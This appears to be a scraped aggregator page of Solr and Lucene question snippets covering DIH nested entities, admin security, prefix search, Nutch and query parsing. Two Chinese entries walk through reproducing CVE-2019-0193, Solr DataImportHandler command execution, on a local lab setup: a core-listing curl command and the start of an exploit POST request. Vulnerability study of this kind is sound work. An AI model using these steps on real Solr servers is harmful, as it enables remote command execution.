solr

Configuration Nested Entity using DIH in SOLR

社会主义新天地 提交于 2021-02-08 06:14:33
问题 I wanna create nested entity with DIH using SOLR 6.x i read Defining nested entities in Solr Data Import Handler and jira https://issues.apache.org/jira/browse/SOLR-5147 what i did Schema.xml <fields> <field name="variantList" type="string" indexed="true" stored="true" /> <field name="variantList.variants" type="string" multiValued="false" required="false"/> <field name="variantList.stockMinimum" type="int" multiValued="false" required="false"/> <field name="variantList.stockOnHand" type="int

How to disable solr admin page

风流意气都作罢 提交于 2021-02-06 09:08:27
问题 For production, it feels unsafe to have a solr admin which even doesn't ask login credentials. How can I disable the solr admin page which comes by default? I simply want my webapp to use Solr for search term indexing. 回答1: I highly suggest keeping the admin page for debugging purposes. It has saved me in numerous cases. There are ways to restrict it to HTTP-authenticated users only: http://wiki.apache.org/solr/SolrSecurity#Jetty_example . You may have to unzip and re-zip your webapp. However

Solr schema for prefix search, howto?

醉酒当歌 提交于 2021-02-04 21:07:17
问题 I read many Questions from stackoverflow, but didn't found an answer, how to make Solr prefix search. For example I have text: "solr documentation is unreadable", and I need to find something like this: "solr docu*", "documentation unread*", "unreadable is so*", but not "un* so*", I make something like this: <fieldType name="prefix_search" class="solr.TextField"> <analyzer> <tokenizer class="solr.LowerCaseTokenizerFactory"/> <filter class="solr.EdgeNGramFilterFactory" minGramSize="1"

Solr schema for prefix search, howto?

泪湿孤枕 提交于 2021-02-04 21:06:35
问题 I read many Questions from stackoverflow, but didn't found an answer, how to make Solr prefix search. For example I have text: "solr documentation is unreadable", and I need to find something like this: "solr docu*", "documentation unread*", "unreadable is so*", but not "un* so*", I make something like this: <fieldType name="prefix_search" class="solr.TextField"> <analyzer> <tokenizer class="solr.LowerCaseTokenizerFactory"/> <filter class="solr.EdgeNGramFilterFactory" minGramSize="1"

Solr schema for prefix search, howto?

蹲街弑〆低调 提交于 2021-02-04 21:06:14
问题 I read many Questions from stackoverflow, but didn't found an answer, how to make Solr prefix search. For example I have text: "solr documentation is unreadable", and I need to find something like this: "solr docu*", "documentation unread*", "unreadable is so*", but not "un* so*", I make something like this: <fieldType name="prefix_search" class="solr.TextField"> <analyzer> <tokenizer class="solr.LowerCaseTokenizerFactory"/> <filter class="solr.EdgeNGramFilterFactory" minGramSize="1"

CVE-2019-0193:Apache Solr远程命令执行漏洞复现

烂漫一生 提交于 2021-02-04 09:52:00
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x02 环境搭建 下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip 在本地解压,进入solr-7.7.2目录,执行命令 bin/solr -e dih (前提:java环境) 然后访问 http://localhost:8983/solr 即可访问环境 0x03 漏洞利用 首先我们可以通过接口 curl http://127.0.0.1:8983/solr/admin/cores 来获取所有 core 信息,下面我们构造 payload 需要 name 信息 在Burp中发送以下POC即可执行命令弹出计算器,下面的<your_core_name> 需要替换为你获取到的 core 的 name(共两处) POST /solr/<your_core_name>/dataimport HTTP/1.1 Host : 127.0.0.1:8983 Content-Length : 763 User-Agent : Mozilla/5.0 Content-type : application/x-www

CVE-2019-0193:Apache Solr 远程命令执行漏洞复现

和自甴很熟 提交于 2021-02-04 09:51:49
CVE-2019-0193: Apache Solr 远程命令执行漏洞复现 0X00漏洞简介 CVE-2019-0193是一个存在于 Apache solr搜索引擎中的命令执行漏洞 0X01漏洞原因 Apache solr 是一款开源的搜索服务器并且使用 java语言开发;主要的工作方式:用户通过 http请求像搜索引擎发出索引条件, solr对条件进行分词 处理,根据分词结果查找索引,继而找到文档   在 Apache solr的可选模块 DatalmportHandler中的 DIH配置是可以包含脚本,因此存在安全隐患,在 apache solr < 8.2.0版本之前 DIH配置中 dataconfig可以被用户控制 0X02漏洞影响范围 影响范围: Apache solr < 8.2.0 0X03漏洞环境搭建 下载地址 https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip 解压完成后使用cmd进入bin文件夹执行solr –e dih 访问系统提示的界面 http://localhost:8983/solr 即可访问 查看虚拟机ip并在本机访问可成功访问 0X04漏洞利用 cmd 命令执行 curl http://localhost:8983/solr/admin/cores

Nutch - deleting segments

跟風遠走 提交于 2021-01-29 16:15:29
问题 I have a Nutch crawl with 4 segments which are fully indexed using the bin/nutch solrindex command. Now I'm all out of storage on the box, so can I delete the 4 segments and retain only the crawldb and continue crawling from where I left it? Since all the segments are merged and indexed to Solr I don't see a problem in deleting the segments, or am I wrong there? 回答1: Thanks to the help on the Nutch mailing list, I found out that I can delete those segments. 来源: https://stackoverflow.com

Solr wildcards and escaped characters together

梦想的初衷 提交于 2021-01-29 14:49:05
问题 I am trying to search in solr but have a problem. For example i have this fraze, stored in solr: [Karina K[arina ? ! & ?!a& m.malina m:malina 0sal0 0 AND . Now i want to search any request with wildcards * . For example i write *[* or *?* and solr return me this fraze. But it doesn't work. What i tried: i can use escaped characters like this K\[arina , but in this case i need to enter all phrase enter image description here But if i write K\[arin* , i wioll have no results enter image

Lucene QueryParse discards " when parsing

与世无争的帅哥 提交于 2021-01-29 13:49:35
问题 I have a query -license:"CC-BY-NC" AND -license:"CC-BY-ND 4.0 (Int)" to be passed into PrecedenceQueryParser.parse like this: Query query = new PrecedenceQueryParser().parse(filter, '') But in the generated query you can see, clauses are like -lincense:CC-BY-NC , "" are lost. Is there any settings to keep the ""? ===================== UPDATE =========================== I understand that since I'm looking for a match of CC-BY-ND 4.0 (Int), without double quotes (double quotes are just used to